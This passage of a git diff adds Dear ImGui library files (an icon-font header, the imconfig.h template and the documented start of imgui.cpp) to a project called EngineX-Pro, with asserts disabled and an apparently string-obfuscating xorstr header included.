ICON_FA_WINDOW_CLOSE "\xef\x90\x90" // U+f410 +#define ICON_FA_WINDOW_FRAME "\xee\x81\x8f" // U+e04f +#define ICON_FA_WINDOW_FRAME_OPEN "\xee\x81\x90" // U+e050 +#define ICON_FA_WINDOW_MAXIMIZE "\xef\x8b\x90" // U+f2d0 +#define ICON_FA_WINDOW_MINIMIZE "\xef\x8b\x91" // U+f2d1 +#define ICON_FA_WINDOW_RESTORE "\xef\x8b\x92" // U+f2d2 +#define ICON_FA_WINDSOCK "\xef\x9d\xb7" // U+f777 +#define ICON_FA_WINE_BOTTLE "\xef\x9c\xaf" // U+f72f +#define ICON_FA_WINE_GLASS "\xef\x93\xa3" // U+f4e3 +#define ICON_FA_WINE_GLASS_ALT "\xef\x97\x8e" // U+f5ce +#define ICON_FA_WON_SIGN "\xef\x85\x99" // U+f159 +#define ICON_FA_WREATH "\xef\x9f\xa2" // U+f7e2 +#define ICON_FA_WRENCH "\xef\x82\xad" // U+f0ad +#define ICON_FA_X_RAY "\xef\x92\x97" // U+f497 +#define ICON_FA_YEN_SIGN "\xef\x85\x97" // U+f157 +#define ICON_FA_YIN_YANG "\xef\x9a\xad" // U+f6ad \ No newline at end of file diff --git a/EngineX-Pro/ImGui/imconfig.h b/EngineX-Pro/ImGui/imconfig.h new file mode 100644 index 0000000..1859bee --- /dev/null +++ b/EngineX-Pro/ImGui/imconfig.h @@ -0,0 +1,109 @@ +//----------------------------------------------------------------------------- +// COMPILE-TIME OPTIONS FOR DEAR IMGUI +// Runtime options (clipboard callbacks, enabling various features, etc.) can generally be set via the ImGuiIO structure. +// You can use ImGui::SetAllocatorFunctions() before calling ImGui::CreateContext() to rewire memory allocation functions. +//----------------------------------------------------------------------------- +// A) You may edit imconfig.h (and not overwrite it when updating Dear ImGui, or maintain a patch/rebased branch with your modifications to it) +// B) or '#define IMGUI_USER_CONFIG "my_imgui_config.h"' in your project and then add directives in your own file without touching this template. +//----------------------------------------------------------------------------- +// You need to make sure that configuration settings are defined consistently _everywhere_ Dear ImGui is used, which include the imgui*.cpp +// files but also _any_ of your code that uses Dear ImGui. This is because some compile-time options have an affect on data structures. +// Defining those options in imconfig.h will ensure every compilation unit gets to see the same data structure layouts. +// Call IMGUI_CHECKVERSION() from your .cpp files to verify that the data structures your files are using are matching the ones imgui.cpp is using. +//----------------------------------------------------------------------------- + +#pragma once + +//---- Define assertion handler. Defaults to calling assert(). +// If your macro uses multiple statements, make sure is enclosed in a 'do { .. } while (0)' block so it can be used as a single statement. +//#define IM_ASSERT(_EXPR) MyAssert(_EXPR) +#define IM_ASSERT(_EXPR) ((void)(_EXPR)) // Disable asserts + +//---- Define attributes of all API symbols declarations, e.g. for DLL under Windows +// Using dear imgui via a shared library is not recommended, because of function call overhead and because we don't guarantee backward nor forward ABI compatibility. +//#define IMGUI_API __declspec( dllexport ) +//#define IMGUI_API __declspec( dllimport ) + +//---- Don't define obsolete functions/enums/behaviors. Consider enabling from time to time after updating to avoid using soon-to-be obsolete function/names. +//#define IMGUI_DISABLE_OBSOLETE_FUNCTIONS + +//---- Disable all of Dear ImGui or don't implement standard windows. +// It is very strongly recommended to NOT disable the demo windows during development. Please read comments in imgui_demo.cpp. +//#define IMGUI_DISABLE // Disable everything: all headers and source files will be empty. +#define IMGUI_DISABLE_DEMO_WINDOWS // Disable demo windows: ShowDemoWindow()/ShowStyleEditor() will be empty. Not recommended. +#define IMGUI_DISABLE_METRICS_WINDOW // Disable metrics/debugger window: ShowMetricsWindow() will be empty. + +//---- Don't implement some functions to reduce linkage requirements. +//#define IMGUI_DISABLE_WIN32_DEFAULT_CLIPBOARD_FUNCTIONS // [Win32] Don't implement default clipboard handler. Won't use and link with OpenClipboard/GetClipboardData/CloseClipboard etc. +//#define IMGUI_DISABLE_WIN32_DEFAULT_IME_FUNCTIONS // [Win32] Don't implement default IME handler. Won't use and link with ImmGetContext/ImmSetCompositionWindow. +//#define IMGUI_DISABLE_WIN32_FUNCTIONS // [Win32] Won't use and link with any Win32 function (clipboard, ime). +//#define IMGUI_ENABLE_OSX_DEFAULT_CLIPBOARD_FUNCTIONS // [OSX] Implement default OSX clipboard handler (need to link with '-framework ApplicationServices', this is why this is not the default). +//#define IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS // Don't implement ImFormatString/ImFormatStringV so you can implement them yourself (e.g. if you don't want to link with vsnprintf) +//#define IMGUI_DISABLE_DEFAULT_MATH_FUNCTIONS // Don't implement ImFabs/ImSqrt/ImPow/ImFmod/ImCos/ImSin/ImAcos/ImAtan2 so you can implement them yourself. +//#define IMGUI_DISABLE_DEFAULT_FILE_FUNCTIONS // Don't implement ImFileOpen/ImFileClose/ImFileRead/ImFileWrite so you can implement them yourself if you don't want to link with fopen/fclose/fread/fwrite. This will also disable the LogToTTY() function. +//#define IMGUI_DISABLE_DEFAULT_ALLOCATORS // Don't implement default allocators calling malloc()/free() to avoid linking with them. You will need to call ImGui::SetAllocatorFunctions(). + +//---- Include imgui_user.h at the end of imgui.h as a convenience +//#define IMGUI_INCLUDE_IMGUI_USER_H + +//---- Pack colors to BGRA8 instead of RGBA8 (to avoid converting from one to another) +//#define IMGUI_USE_BGRA_PACKED_COLOR + +//---- Use 32-bit for ImWchar (default is 16-bit) to support unicode planes 1-16. (e.g. point beyond 0xFFFF like emoticons, dingbats, symbols, shapes, ancient languages, etc...) +//#define IMGUI_USE_WCHAR32 + +//---- Avoid multiple STB libraries implementations, or redefine path/filenames to prioritize another version +// By default the embedded implementations are declared static and not available outside of imgui cpp files. +//#define IMGUI_STB_TRUETYPE_FILENAME "my_folder/stb_truetype.h" +//#define IMGUI_STB_RECT_PACK_FILENAME "my_folder/stb_rect_pack.h" +//#define IMGUI_DISABLE_STB_TRUETYPE_IMPLEMENTATION +//#define IMGUI_DISABLE_STB_RECT_PACK_IMPLEMENTATION + +//---- Unless IMGUI_DISABLE_DEFAULT_FORMAT_FUNCTIONS is defined, use the much faster STB sprintf library implementation of vsnprintf instead of the one from the default C library. +// Note that stb_sprintf.h is meant to be provided by the user and available in the include path at compile time. Also, the compatibility checks of the arguments and formats done by clang and GCC will be disabled in order to support the extra formats provided by STB sprintf. +// #define IMGUI_USE_STB_SPRINTF + +//---- Define constructor and implicit cast operators to convert back<>forth between your math types and ImVec2/ImVec4. +// This will be inlined as part of ImVec2 and ImVec4 class declarations. +/* +#define IM_VEC2_CLASS_EXTRA \ + ImVec2(const MyVec2& f) { x = f.x; y = f.y; } \ + operator MyVec2() const { return MyVec2(x,y); } + +#define IM_VEC4_CLASS_EXTRA \ + ImVec4(const MyVec4& f) { x = f.x; y = f.y; z = f.z; w = f.w; } \ + operator MyVec4() const { return MyVec4(x,y,z,w); } +*/ + +//---- Use 32-bit vertex indices (default is 16-bit) is one way to allow large meshes with more than 64K vertices. +// Your renderer backend will need to support it (most example renderer backends support both 16/32-bit indices). +// Another way to allow large meshes while keeping 16-bit indices is to handle ImDrawCmd::VtxOffset in your renderer. +// Read about ImGuiBackendFlags_RendererHasVtxOffset for details. +//#define ImDrawIdx unsigned int + +//---- Override ImDrawCallback signature (will need to modify renderer backends accordingly) +//struct ImDrawList; +//struct ImDrawCmd; +//typedef void (*MyImDrawCallback)(const ImDrawList* draw_list, const ImDrawCmd* cmd, void* my_renderer_user_data); +//#define ImDrawCallback MyImDrawCallback + +//---- Debug Tools: Macro to break in Debugger +// (use 'Metrics->Tools->Item Picker' to pick widgets with the mouse and break into them for easy debugging.) +//#define IM_DEBUG_BREAK IM_ASSERT(0) +//#define IM_DEBUG_BREAK __debugbreak() + +//---- Debug Tools: Have the Item Picker break in the ItemAdd() function instead of ItemHoverable(), +// (which comes earlier in the code, will catch a few extra items, allow picking items other than Hovered one.) +// This adds a small runtime cost which is why it is not enabled by default. +//#define IMGUI_DEBUG_TOOL_ITEM_PICKER_EX + +//---- Debug Tools: Enable slower asserts +//#define IMGUI_DEBUG_PARANOID + +//---- Tip: You can add extra functions within the ImGui:: namespace, here or in your own headers files. +/* +namespace ImGui +{ + void MyFunction(const char* name, const MyMatrix44& v); +} +*/ diff --git a/EngineX-Pro/ImGui/imgui.cpp b/EngineX-Pro/ImGui/imgui.cpp new file mode 100644 index 0000000..c118e8e --- /dev/null +++ b/EngineX-Pro/ImGui/imgui.cpp @@ -0,0 +1,11143 @@ +// dear imgui, v1.80 WIP +// (main code and documentation) +#include "..//xorstr.hpp" + +// Help: +// - Read FAQ at http://dearimgui.org/faq +// - Newcomers, read 'Programmer guide' below for notes on how to setup Dear ImGui in your codebase. +// - Call and read ImGui::ShowDemoWindow() in imgui_demo.cpp. All applications in examples/ are doing that. +// Read imgui.cpp for details, links and comments. + +// Resources: +// - FAQ http://dearimgui.org/faq +// - Homepage & latest https://github.com/ocornut/imgui +// - Releases & changelog https://github.com/ocornut/imgui/releases +// - Gallery https://github.com/ocornut/imgui/issues/3488 (please post your screenshots/video there!) +// - Glossary https://github.com/ocornut/imgui/wiki/Glossary +// - Wiki https://github.com/ocornut/imgui/wiki +// - Issues & support https://github.com/ocornut/imgui/issues + +// Developed by Omar Cornut and every direct or indirect contributors to the GitHub. +// See LICENSE.txt for copyright and licensing details (standard MIT License). +// This library is free but needs your support to sustain development and maintenance. +// Businesses: you can support continued development via invoiced technical support, maintenance and sponsoring contracts. Please reach out to "contact AT dearimgui.org". +// Individuals: you can support continued development via donations. See docs/README or web page. + +// It is recommended that you don't modify imgui.cpp! It will become difficult for you to update the library. +// Note that 'ImGui::' being a namespace, you can add functions into the namespace from your own source files, without +// modifying imgui.h or imgui.cpp. You may include imgui_internal.h to access internal data structures, but it doesn't +// come with any guarantee of forward compatibility. Discussing your changes on the GitHub Issue Tracker may lead you +// to a better solution or official support for them. + +/* + +Index of this file: + +DOCUMENTATION + +- MISSION STATEMENT +- END-USER GUIDE +- PROGRAMMER GUIDE + - READ FIRST + - HOW TO UPDATE TO A NEWER VERSION OF DEAR IMGUI + - GETTING STARTED WITH INTEGRATING DEAR IMGUI IN YOUR CODE/ENGINE + - HOW A SIMPLE APPLICATION MAY LOOK LIKE + - HOW A SIMPLE RENDERING FUNCTION MAY LOOK LIKE + - USING GAMEPAD/KEYBOARD NAVIGATION CONTROLS +- API BREAKING CHANGES (read me when you update!) +- FREQUENTLY ASKED QUESTIONS (FAQ) + - Read all answers online: https://www.dearimgui.org/faq, or in docs/FAQ.md (with a Markdown viewer) + +CODE +(search for "[SECTION]" in the code to find them) + +// [SECTION] INCLUDES +// [SECTION] FORWARD DECLARATIONS +// [SECTION] CONTEXT AND MEMORY ALLOCATORS +// [SECTION] USER FACING STRUCTURES (ImGuiStyle, ImGuiIO) +// [SECTION] MISC HELPERS/UTILITIES (Geometry functions) +// [SECTION] MISC HELPERS/UTILITIES (String, Format, Hash functions) +// [SECTION] MISC HELPERS/UTILITIES (File functions) +// [SECTION] MISC HELPERS/UTILITIES (ImText* functions) +// [SECTION] MISC HELPERS/UTILITIES (Color functions) +// [SECTION] ImGuiStorage +// [SECTION] ImGuiTextFilter +// [SECTION] ImGuiTextBuffer +// [SECTION] ImGuiListClipper +// [SECTION] STYLING +// [SECTION] RENDER HELPERS +// [SECTION] MAIN CODE (most of the code! lots of stuff, needs tidying up!) +// [SECTION] ERROR CHECKING +// [SECTION] LAYOUT +// [SECTION] SCROLLING +// [SECTION] TOOLTIPS +// [SECTION] POPUPS +// [SECTION] KEYBOARD/GAMEPAD NAVIGATION +// [SECTION] DRAG AND DROP +// [SECTION] LOGGING/CAPTURING +// [SECTION] SETTINGS +// [SECTION] PLATFORM DEPENDENT HELPERS +// [SECTION] METRICS/DEBUGGER WINDOW + +*/ + +//----------------------------------------------------------------------------- +// DOCUMENTATION +//----------------------------------------------------------------------------- + +/* + + MISSION STATEMENT + ================= + + - Easy to use to create code-driven and data-driven tools. + - Easy to use to create ad hoc short-lived tools and long-lived, more elaborate tools. + - Easy to hack and improve. + - Minimize setup and maintenance. + - Minimize state storage on user side. + - Portable, minimize dependencies, run on target (consoles, phones, etc.). + - Efficient runtime and memory consumption. + + Designed for developers and content-creators, not the typical end-user! Some of the current weaknesses includes: + + - Doesn't look fancy, doesn't animate. + - Limited layout features, intricate layouts are typically crafted in code. + + + END-USER GUIDE + ============== + + - Double-click on title bar to collapse window. + - Click upper right corner to close a window, available when 'bool* p_open' is passed to ImGui::Begin(). + - Click and drag on lower right corner to resize window (double-click to auto fit window to its contents). + - Click and drag on any empty space to move window. + - TAB/SHIFT+TAB to cycle through keyboard editable fields. + - CTRL+Click on a slider or drag box to input value as text. + - Use mouse wheel to scroll. + - Text editor: + - Hold SHIFT or use mouse to select text. + - CTRL+Left/Right to word jump. + - CTRL+Shift+Left/Right to select words. + - CTRL+A our Double-Click to select all. + - CTRL+X,CTRL+C,CTRL+V to use OS clipboard/ + - CTRL+Z,CTRL+Y to undo/redo. + - ESCAPE to revert text to its original value. + - You can apply arithmetic operators +,*,/ on numerical values. Use +- to subtract (because - would set a negative value!) + - Controls are automatically adjusted for OSX to match standard OSX text editing operations. + - General Keyboard controls: enable with ImGuiConfigFlags_NavEnableKeyboard. + - General Gamepad controls: enable with ImGuiConfigFlags_NavEnableGamepad. See suggested mappings in imgui.h ImGuiNavInput_ + download PNG/PSD at http://dearimgui.org/controls_sheets + + + PROGRAMMER GUIDE + ================ + + READ FIRST + ---------- + - Remember to read the FAQ (https://www.dearimgui.org/faq) + - Your code creates the UI, if your code doesn't run the UI is gone! The UI can be highly dynamic, there are no construction + or destruction steps, less superfluous data retention on your side, less state duplication, less state synchronization, less bugs. + - Call and read ImGui::ShowDemoWindow() for demo code demonstrating most features. + - The library is designed to be built from sources. Avoid pre-compiled binaries and packaged versions. See imconfig.h to configure your build. + - Dear ImGui is an implementation of the IMGUI paradigm (immediate-mode graphical user interface, a term coined by Casey Muratori). + You can learn about IMGUI principles at http://www.johno.se/book/imgui.html, http://mollyrocket.com/861 & more links in the FAQ. + - Dear ImGui is a "single pass" rasterizing implementation of the IMGUI paradigm, aimed at ease of use and high-performances. + For every application frame your UI code will be called only once. This is in contrast to e.g. Unity's own implementation of an IMGUI, + where the UI code is called multiple times ("multiple passes") from a single entry point. There are pros and cons to both approaches. + - Our origin are on the top-left. In axis aligned bounding boxes, Min = top-left, Max = bottom-right. + - This codebase is also optimized to yield decent performances with typical "Debug" builds settings. + - Please make sure you have asserts enabled (IM_ASSERT redirects to assert() by default, but can be redirected). + If you get an assert, read the messages and comments around the assert. + - C++: this is a very C-ish codebase: we don't rely on C++11, we don't include any C++ headers, and ImGui:: is a namespace. + - C++: ImVec2/ImVec4 do not expose math operators by default, because it is expected that you use your own math types. + See FAQ "How can I use my own math types instead of ImVec2/ImVec4?" for details about setting up imconfig.h for that. + However, imgui_internal.h can optionally export math operators for ImVec2/ImVec4, which we use in this codebase. + - C++: pay attention that ImVector<> manipulates plain-old-data and does not honor construction/destruction (avoid using it in your code!). + + + HOW TO UPDATE TO A NEWER VERSION OF DEAR IMGUI + ---------------------------------------------- + - Overwrite all the sources files except for imconfig.h (if you have made modification to your copy of imconfig.h) + - Or maintain your own branch where you have imconfig.h modified as a top-most commit which you can regularly rebase over master. + - You can also use '#define IMGUI_USER_CONFIG "my_config_file.h" to redirect configuration to your own file. + - Read the "API BREAKING CHANGES" section (below). This is where we list occasional API breaking changes. + If a function/type has been renamed / or marked obsolete, try to fix the name in your code before it is permanently removed + from the public API. If you have a problem with a missing function/symbols, search for its name in the code, there will + likely be a comment about it. Please report any issue to the GitHub page! + - To find out usage of old API, you can add '#define IMGUI_DISABLE_OBSOLETE_FUNCTIONS' in your configuration file. + - Try to keep your copy of Dear ImGui reasonably up to date. + + + GETTING STARTED WITH INTEGRATING DEAR IMGUI IN YOUR CODE/ENGINE + --------------------------------------------------------------- + - Run and study the examples and demo in imgui_demo.cpp to get acquainted with the library. + - In the majority of cases you should be able to use unmodified backends files available in the backends/ folder. + - Add the Dear ImGui source files + selected backend source files to your projects or using your preferred build system. + It is recommended you build and statically link the .cpp files as part of your project and NOT as shared library (DLL). + - You can later customize the imconfig.h file to tweak some compile-time behavior, such as integrating Dear ImGui types with your own maths types. + - When using Dear ImGui, your programming IDE is your friend: follow the declaration of variables, functions and types to find comments about them. + - Dear ImGui never touches or knows about your GPU state. The only function that knows about GPU is the draw function that you provide. + Effectively it means you can create widgets at any time in your code, regardless of considerations of being in "update" vs "render" + phases of your own application. All rendering information are stored into command-lists that you will retrieve after calling ImGui::Render(). + - Refer to the backends and demo applications in the examples/ folder for instruction on how to setup your code. + - If you are running over a standard OS with a common graphics API, you should be able to use unmodified imgui_impl_*** files from the examples/ folder. + + + HOW A SIMPLE APPLICATION MAY LOOK LIKE + -------------------------------------- + EXHIBIT 1: USING THE EXAMPLE BACKENDS (= imgui_impl_XXX.cpp files from the backends/ folder). + The sub-folders in examples/ contains examples applications following this structure. + + // Application init: create a dear imgui context, setup some options, load fonts + ImGui::CreateContext(); + ImGuiIO& io = ImGui::GetIO(); + // TODO: Set optional io.ConfigFlags values, e.g. 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard' to enable keyboard controls. + // TODO: Fill optional fields of the io structure later. + // TODO: Load TTF/OTF fonts if you don't want to use the default font. + + // Initialize helper Platform and Renderer backends (here we are using imgui_impl_win32.cpp and imgui_impl_dx11.cpp) + ImGui_ImplWin32_Init(hwnd); + ImGui_ImplDX11_Init(g_pd3dDevice, g_pd3dDeviceContext); + + // Application main loop + while (true) + { + // Feed inputs to dear imgui, start new frame + ImGui_ImplDX11_NewFrame(); + ImGui_ImplWin32_NewFrame(); + ImGui::NewFrame(); + + // Any application code here + ImGui::Text("Hello, world!"); + + // Render dear imgui into screen + ImGui::Render(); + ImGui_ImplDX11_RenderDrawData(ImGui::GetDrawData()); + g_pSwapChain->Present(1, 0); + } + + // Shutdown + ImGui_ImplDX11_Shutdown(); + ImGui_ImplWin32_Shutdown(); + ImGui::DestroyContext(); + + EXHIBIT 2: IMPLEMENTING CUSTOM BACKEND / CUSTOM ENGINE + + // Application init: create a dear imgui context, setup some options, load fonts + ImGui::CreateContext(); + ImGuiIO& io = ImGui::GetIO(); + // TODO: Set optional io.ConfigFlags values, e.g. 'io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard' to enable keyboard controls. + // TODO: Fill optional fields of the io structure later. + // TODO: Load TTF/OTF fonts if you don't want to use the default font. + + // Build and load the texture atlas into a texture + // (In the examples/ app this is usually done within the ImGui_ImplXXX_Init() function from one of the demo Renderer) + int width, height; + unsigned char* pixels = NULL; + io.Fonts->GetTexDataAsRGBA32(&pixels, &width, &height); + + // At this point you've got the texture data and you need to upload that your your graphic system: + // After we have created the texture, store its pointer/identifier (_in whichever format your engine uses_) in 'io.Fonts->TexID'. + // This will be passed back to your via the renderer. Basically ImTextureID == void*. Read FAQ for details about ImTextureID. + MyTexture* texture = MyEngine::CreateTextureFromMemoryPixels(pixels, width, height, TEXTURE_TYPE_RGBA32) + io.Fonts->TexID = (void*)texture; + + // Application main loop + while (true) + { + // Setup low-level inputs, e.g. on Win32: calling GetKeyboardState(), or write to those fields from your Windows message handlers, etc. + // (In the examples/ app this is usually done within the ImGui_ImplXXX_NewFrame() function from one of the demo Platform Backends) + io.DeltaTime = 1.0f/60.0f; // set the time elapsed since the previous frame (in seconds) + io.DisplaySize.x = 1920.0f; // set the current display width + io.DisplaySize.y = 1280.0f; // set the current display height here + io.MousePos = my_mouse_pos; // set the mouse position + io.MouseDown[0] = my_mouse_buttons[0]; // set the mouse button states + io.MouseDown[1] = my_mouse_buttons[1]; + + // Call NewFrame(), after this point you can use ImGui::* functions anytime + // (So you want to try calling NewFrame() as early as you can in your mainloop to be able to use Dear ImGui everywhere) + ImGui::NewFrame(); + + // Most of your application code here + ImGui::Text("Hello, world!"); + MyGameUpdate(); // may use any Dear ImGui functions, e.g. ImGui::Begin("My window"); ImGui::Text("Hello, world!"); ImGui::End(); + MyGameRender(); // may use any Dear ImGui functions as well! + + // Render dear imgui, swap buffers + // (You want to try calling EndFrame/Render as late as you can, to be able to use Dear ImGui in your own game rendering code) + ImGui::EndFrame(); + ImGui::Render(); + ImDrawData* draw_data = ImGui::GetDrawData(); + MyImGuiRenderFunction(draw_data); + SwapBuffers(); + } + + // Shutdown + ImGui::DestroyContext(); + + To decide whether to dispatch mouse/keyboard inputs to Dear ImGui to the rest your application, + you should read the 'io.WantCaptureMouse', 'io.WantCaptureKeyboard' and 'io.WantTextInput' flags! + Please read the FAQ and example applications for details about this! + + + HOW A SIMPLE RENDERING FUNCTION MAY LOOK LIKE + --------------------------------------------- + The backends in impl_impl_XXX.cpp files contains many working implementations of a rendering function. + + void void MyImGuiRenderFunction(ImDrawData* draw_data) + { + // TODO: Setup render state: alpha-blending enabled, no face culling, no depth testing, scissor enabled + // TODO: Setup viewport covering draw_data->DisplayPos to draw_data->DisplayPos + draw_data->DisplaySize + // TODO: Setup orthographic projection matrix cover draw_data->DisplayPos to draw_data->DisplayPos + draw_data->DisplaySize + // TODO: Setup shader: vertex { float2 pos, float2 uv, u32 color }, fragment shader sample color from 1 texture, multiply by vertex color. + for (int n = 0; n < draw_data->CmdListsCount; n++) + { + const ImDrawList* cmd_list = draw_data->CmdLists[n]; + const ImDrawVert* vtx_buffer = cmd_list->VtxBuffer.Data; // vertex buffer generated by Dear ImGui + const ImDrawIdx* idx_buffer = cmd_list->IdxBuffer.Data; // index buffer generated by Dear ImGui + for (int cmd_i = 0; cmd_i < cmd_list->CmdBuffer.Size; cmd_i++) + { + const ImDrawCmd* pcmd = &cmd_list->CmdBuffer[cmd_i]; + if (pcmd->UserCallback) + { + pcmd->UserCallback(cmd_list, pcmd); + } + else + { + // The texture for the draw call is specified by pcmd->TextureId. + // The vast majority of draw calls will use the Dear ImGui texture atlas, which value you have set yourself during initialization. + MyEngineBindTexture((MyTexture*)pcmd->TextureId); + + // We are using scissoring to clip some objects. All low-level graphics API should supports it. + // - If your engine doesn't support scissoring yet, you may ignore this at first. You will get some small glitches + // (some elements visible outside their bounds) but you can fix that once everything else works! + // - Clipping coordinates are provided in imgui coordinates space (from draw_data->DisplayPos to draw_data->DisplayPos + draw_data->DisplaySize) + // In a single viewport application, draw_data->DisplayPos will always be (0,0) and draw_data->DisplaySize will always be == io.DisplaySize. + // However, in the interest of supporting multi-viewport applications in the future (see 'viewport' branch on github), + // always subtract draw_data->DisplayPos from clipping bounds to convert them to your viewport space. + // - Note that pcmd->ClipRect contains Min+Max bounds. Some graphics API may use Min+Max, other may use Min+Size (size being Max-Min) + ImVec2 pos = draw_data->DisplayPos; + MyEngineScissor((int)(pcmd->ClipRect.x - pos.x), (int)(pcmd->ClipRect.y - pos.y), (int)(pcmd->ClipRect.z - pos.x), (int)(pcmd->ClipRect.w - pos.y)); + + // Render 'pcmd->ElemCount/3' indexed triangles. + // By default the indices ImDrawIdx are 16-bit, you can change them to 32-bit in imconfig.h if your engine doesn't support 16-bit indices. + MyEngineDrawIndexedTriangles(pcmd->ElemCount, sizeof(ImDrawIdx) == 2 ? GL_UNSIGNED_SHORT : GL_UNSIGNED_INT, idx_buffer, vtx_buffer); + } + idx_buffer += pcmd->ElemCount; + } + } + } + + + USING GAMEPAD/KEYBOARD NAVIGATION CONTROLS + ------------------------------------------ + - The gamepad/keyboard navigation is fairly functional and keeps being improved. + - Gamepad support is particularly useful to use Dear ImGui on a console system (e.g. PS4, Switch, XB1) without a mouse! + - You can ask questions and report issues at https://github.com/ocornut/imgui/issues/787 + - The initial focus was to support game controllers, but keyboard is becoming increasingly and decently usable. + - Keyboard: + - Set io.ConfigFlags |= ImGuiConfigFlags_NavEnableKeyboard to enable. + NewFrame() will automatically fill io.NavInputs[] based on your io.KeysDown[] + io.KeyMap[] arrays. + - When keyboard navigation is active (io.NavActive + ImGuiConfigFlags_NavEnableKeyboard), the io.WantCaptureKeyboard flag + will be set. For more advanced uses, you may want to read from: + - io.NavActive: true when a window is focused and it doesn't have the ImGuiWindowFlags_NoNavInputs flag set. + - io.NavVisible: true when the navigation cursor is visible (and usually goes false when mouse is used). + - or query focus information with e.g. IsWindowFocused(ImGuiFocusedFlags_AnyWindow), IsItemFocused() etc. functions. + Please reach out if you think the game vs navigation input sharing could be improved. + - Gamepad: + - Set io.ConfigFlags |= ImGuiConfigFlags_NavEnableGamepad to enable. + - Backend: Set io.BackendFlags |= ImGuiBackendFlags_HasGamepad + fill the io.NavInputs[] fields before calling NewFrame(). + Note that io.NavInputs[] is cleared by EndFrame(). + - See 'enum ImGuiNavInput_' in imgui.h for a description of inputs. For each entry of io.NavInputs[], set the following values: + 0.0f= not held. 1.0f= fully held. Pass intermediate 0.0f..1.0f values for analog triggers/sticks. + - We uses a simple >0.0f test for activation testing, and won't attempt to test for a dead-zone. + Your code will probably need to transform your raw inputs (such as e.g. remapping your 0.2..0.9 raw input range to 0.0..1.0 imgui range, etc.). + - You can download PNG/PSD files depicting the gamepad controls for common controllers at: http://dearimgui.org/controls_sheets + - If you need to share inputs between your game and the imgui parts, the easiest approach is to go all-or-nothing, with a buttons combo + to toggle the target. Please reach out if you think the game vs navigation input sharing could be improved. + - Mouse: + - PS4 users: Consider emulating a mouse cursor with DualShock4 touch pad or a spare analog stick as a mouse-emulation fallback. + - Consoles/Tablet/Phone users: Consider using a Synergy 1.x server (on your PC) + uSynergy.c (on your console/tablet/phone app) to share your PC mouse/keyboard. + - On a TV/console system where readability may be lower or mouse inputs may be awkward, you may want to set the ImGuiConfigFlags_NavEnableSetMousePos flag. + Enabling ImGuiConfigFlags_NavEnableSetMousePos + ImGuiBackendFlags_HasSetMousePos instructs dear imgui to move your mouse cursor along with navigation movements. + When enabled, the NewFrame() function may alter 'io.MousePos' and set 'io.WantSetMousePos' to notify you that it wants the mouse cursor to be moved. + When that happens your backend NEEDS to move the OS or underlying mouse cursor on the next frame. Some of the backends in examples/ do that. + (If you set the NavEnableSetMousePos flag but don't honor 'io.WantSetMousePos' properly, imgui will misbehave as it will see your mouse as moving back and forth!) + (In a setup when you may not have easy control over the mouse cursor, e.g. uSynergy.c doesn't expose moving remote mouse cursor, you may want + to set a boolean to ignore your other external mouse positions until the external source is moved again.) + + + API BREAKING CHANGES + ==================== + + Occasionally introducing changes that are breaking the API. We try to make the breakage minor and easy to fix. + Below is a change-log of API breaking changes only. If you are using one of the functions listed, expect to have to fix some code. + When you are not sure about a old symbol or function name, try using the Search/Find function of your IDE to look for comments or references in all imgui files. + You can read releases logs https://github.com/ocornut/imgui/releases for more details. + + - 2020/10/12 (1.80) - removed redirecting functions/enums that were marked obsolete in 1.63 (August 2018): + - ImGui::IsItemDeactivatedAfterChange() -> use ImGui::IsItemDeactivatedAfterEdit(). + - ImGuiCol_ModalWindowDarkening -> use ImGuiCol_ModalWindowDimBg + - ImGuiInputTextCallback -> use ImGuiTextEditCallback + - ImGuiInputTextCallbackData -> use ImGuiTextEditCallbackData + - 2020/12/21 (1.80) - renamed ImDrawList::AddBezierCurve() to AddBezierCubic(), and PathBezierCurveTo() to PathBezierCubicCurveTo(). Kept inline redirection function (will obsolete). + - 2020/12/04 (1.80) - added imgui_tables.cpp file! Manually constructed project files will need the new file added! + - 2020/11/18 (1.80) - renamed undocumented/internals ImGuiColumnsFlags_* to ImGuiOldColumnFlags_* in prevision of incoming Tables API. + - 2020/11/03 (1.80) - renamed io.ConfigWindowsMemoryCompactTimer to io.ConfigMemoryCompactTimer as the feature will apply to other data structures + - 2020/10/14 (1.80) - backends: moved all backends files (imgui_impl_XXXX.cpp, imgui_impl_XXXX.h) from examples/ to backends/. + - 2020/10/12 (1.80) - removed redirecting functions/enums that were marked obsolete in 1.60 (April 2018): + - io.RenderDrawListsFn pointer -> use ImGui::GetDrawData() value and call the render function of your backend + - ImGui::IsAnyWindowFocused() -> use ImGui::IsWindowFocused(ImGuiFocusedFlags_AnyWindow) + - ImGui::IsAnyWindowHovered() -> use ImGui::IsWindowHovered(ImGuiHoveredFlags_AnyWindow) + - ImGuiStyleVar_Count_ -> use ImGuiStyleVar_COUNT + - ImGuiMouseCursor_Count_ -> use ImGuiMouseCursor_COUNT + - removed redirecting functions names that were marked obsolete in 1.61 (May 2018): + - InputFloat (... int decimal_precision ...) -> use InputFloat (... const char* format ...) with format = "%.Xf" where X is your value for decimal_precision. + - same for InputFloat2()/InputFloat3()/InputFloat4() variants taking a `int decimal_precision` parameter. + - 2020/10/05 (1.79) - removed ImGuiListClipper: Renamed constructor parameters which created an ambiguous alternative to using the ImGuiListClipper::Begin() function, with misleading edge cases (note: imgui_memory_editor <0.40 from imgui_club/ used this old clipper API. Update your copy if needed). + - 2020/09/25 (1.79) - renamed ImGuiSliderFlags_ClampOnInput to ImGuiSliderFlags_AlwaysClamp. Kept redirection enum (will obsolete sooner because previous name was added recently). + - 2020/09/25 (1.79) - renamed style.TabMinWidthForUnselectedCloseButton to style.TabMinWidthForCloseButton. + - 2020/09/21 (1.79) - renamed OpenPopupContextItem() back to OpenPopupOnItemClick(), reverting the change from 1.77. For varieties of reason this is more self-explanatory. + - 2020/09/21 (1.79) - removed return value from OpenPopupOnItemClick() - returned true on mouse release on item - because it is inconsistent with other popup APIs and makes others misleading. It's also and unnecessary: you can use IsWindowAppearing() after BeginPopup() for a similar result. + - 2020/09/17 (1.79) - removed ImFont::DisplayOffset in favor of ImFontConfig::GlyphOffset. DisplayOffset was applied after scaling and not very meaningful/useful outside of being needed by the default ProggyClean font. If you scaled this value after calling AddFontDefault(), this is now done automatically. It was also getting in the way of better font scaling, so let's get rid of it now! + - 2020/08/17 (1.78) - obsoleted use of the trailing 'float power=1.0f' parameter for DragFloat(), DragFloat2(), DragFloat3(), DragFloat4(), DragFloatRange2(), DragScalar(), DragScalarN(), 